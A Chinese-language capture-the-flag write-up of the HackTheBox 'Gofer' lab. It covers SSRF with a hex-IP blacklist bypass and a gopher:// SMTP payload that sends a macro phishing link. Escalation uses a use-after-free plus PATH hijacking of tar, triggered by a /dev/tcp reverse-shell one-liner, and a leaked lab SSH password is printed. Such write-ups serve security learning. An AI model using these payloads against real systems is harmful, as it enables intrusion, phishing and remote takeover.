信息搜集

nmap扫描开放端口
image-20230805191023390
然后配置etc/hosts

1
echo "10.10.11.225 gofer.htb" >> /etc/hosts

接着访问这个域名没啥发现,然后用dirsearch做了个目录扫描也没发现啥
image-20230805191038098
这个assets看了下没啥东西就存放了些前端的一些静态文件,到这里完全没思路了,猜测问题可能就在下面这个邮箱这里,但是不知道怎么利用
image-20230805191053738
后面看了完整的视频教程,竟然是通过钓鱼来反弹shell,并且利用smbclient获取到提示之前都不知道这个方法,第一次玩hackthebox的靶机确实想不到
其实这里还有个子域名但是dirsearch扫不到,应该是自带里面没有就是proxy.gofer.htb可以通过ffuf来扫,这个工具kali自带了,但是那个字典指定我没找到自带的字典位置这里就不扫描了大概命令如下

1
ffuf -u http://gofer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -H "Host:FUZZ.gofer.htb"

-w后面就是你要使用的字典,然后把那个子域名加到hosts下再访问
image-20230805191111085
然后会发现需要登录
image-20230805191125619
弱口令试了一下无果,直接抓个包看看也没发现啥,然后这里利用smbmap看一下共享文件啥的

1
smbmap -H gofer.htb

image-20230805191136897
emmm,不知道这个终端怎么设置能让它一行展示完不自动换行,可以看到有个只读的共享文件
利用smbclient进去看下

1
smbclient -N  //gofer.htb/shares

image-20230805191217866
emmm,没怎么用过这个工具不太熟,里面有个.backup文件夹进去之后发现这个里面有个mail文件下载下来,因为我是用的root去使用的这个工具所以自动下载到了root文件夹,然后打开mail文件看看
image-20230805191232665
这就相当于一个提示了,可以利用宏钓鱼,但是这个邮箱发送在内部所以就得想办法发邮箱了,这里利用点是上面那个没发现啥东西的包,用POST发包并且加上index.php
image-20230805191247091
可以看到不再是401了,并且这里提示缺少个url参数,给它加上并且加个本地地址
image-20230805191319543
存在黑名单,那么这里应该就是有ssrf了,这个黑名单可以用十六进制绕过

1
2
3
http://0x7f000001 

https://highon.coffee/blog/ssrf-cheat-sheet/ //这个地址提供了一些绕过方法

image-20230805191332496
然后参考网址利用gopher协议在25端口进行邮件发送,payload如下

1
2
3
4
gopher://0x7f000001:25/_HELO gofer.htb%0AMAIL FROM: <root@y0n3er.com>%0ARCPT TO: <jhudson@gofer.htb>%0ADATA%0ASubject: <a http://10.10.14.19:7777/bad.odt>SSRF HERE</a>%0ASSRF AND SMTP%0A.

url编码:
gopher://0x7f000001:25/_HELO%20gofer.htb%250AMAIL%20FROM:%20%3Croot@y0n3er.com%3E%250ARCPT%20TO:%20%3Cjhudson@gofer.htb%3E%250ADATA%250ASubject:%20%3Ca%20http://10.10.14.19:7777/bad.odt%3ESSRF%20HERE%3C/a%3E%250ASSRF%20AND%20SMTP%250A.

这个payload就是向Jocelyn Hudson用户发了一个邮件选择这个用户是因为前面的邮件提示她爱点不明邮件,这个里面有一个指向攻击机的超链接,然后利用工具Libreoffice先随便制作一个bad.odt文件,生成一个文本文档即为odt格式,然后用python起个服务再发送邮件
image-20230805191353429
可以看到靶机后台就点了这个邮件

反弹shell (宏钓鱼)

那么现在就可以加个宏来反弹shell
image-20230805191407695
然后在你准备的bad.odt加个反弹shell的宏
image-20230805191418015
保存之后还要加个打开文件运行宏的设置
image-20230805191427211
然后再起服务发邮件,稍等一下拿到shell
image-20230805191435903
这里本来想利用python弄个交互式shell发现不行,然后去jhudson目录下打开user.txt拿到user的flag

提权

首先就是用[pspy64](DominicBreuker/pspy: Monitor linux processes without root permissions (github.com))这个脚本去监听后台不同用户执行的命令,先上传到靶机上
image-20230805191455314
给它运行权限,然后去运行文件

发现泄露了用户tbuckley的ssh密码tbuckley:ooP4dietie3o_hquaeti登上去看看

1
ssh tbuckley@gofer.htb

这里存在两个用户组,找一下属于第二个组的文件
image-20230805191523914
找到了一个notes文件属于root但是dev具有执行权限,执行一下
image-20230805191534230
基本功能就是写笔记啥的,把这个二进制程序下下来
image-20230805191545504
然后利用ida或者在线网站给它逆向一下看看代码,case1这里会分配40个字节的内存,然后通过uid判断用户的权限执行不同的操作
image-20230805191558648
然后是case3这里如果创建了用户执行这个操作就会将var_10_1的内存释放掉,但是这个指针没有清0或者设置为null这就是造成漏洞的地方
image-20230805191608034
再就是case4这里,它这里分配的内存其实就是上面释放掉的,由于指针没有置0这里就会造成内存覆盖的问题拿到admin
image-20230805191617355
然后到case8这里进行命令执行
image-20230805191629202
在执行tar的时候它会从环境变量里面进行查询,查到的第一个tar就会停止查询然后执行查到的tar那么就可以在环境变量这里进行一些操作,先在当前目录创建个tmp目录里面再创建个tar文件,tar文件里面写入反弹shell的命令,然后将含tar文件的目录添加到环境变量,如下
image-20230805191641284

1
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.82/6666 0>&1"

环境变量这里弄完之后就可以去运行notes了,首先随便创建个用户
image-20230805191654656
然后删除用户,再写入笔记,笔记内容前24个字符随便,后面为admin
image-20230805191707123
然后执行8备份即可拿到shell提权成功
image-20230805191733466

打完感悟

第一次碰htb的靶机,确实很多东西不会,wp没出来之前第一步就不会。。。提权那里的反弹shell搞了几个小时都不行,后面换个端口好了。。。师傅们可以参考下面的这个视频将讲的很详细特别是逆向那里,另外也感谢userB1ank师傅的指导

参考:

Gofer - Hackthebox_哔哩哔哩_bilibili
gofer-wp | UserB1ank’s Blog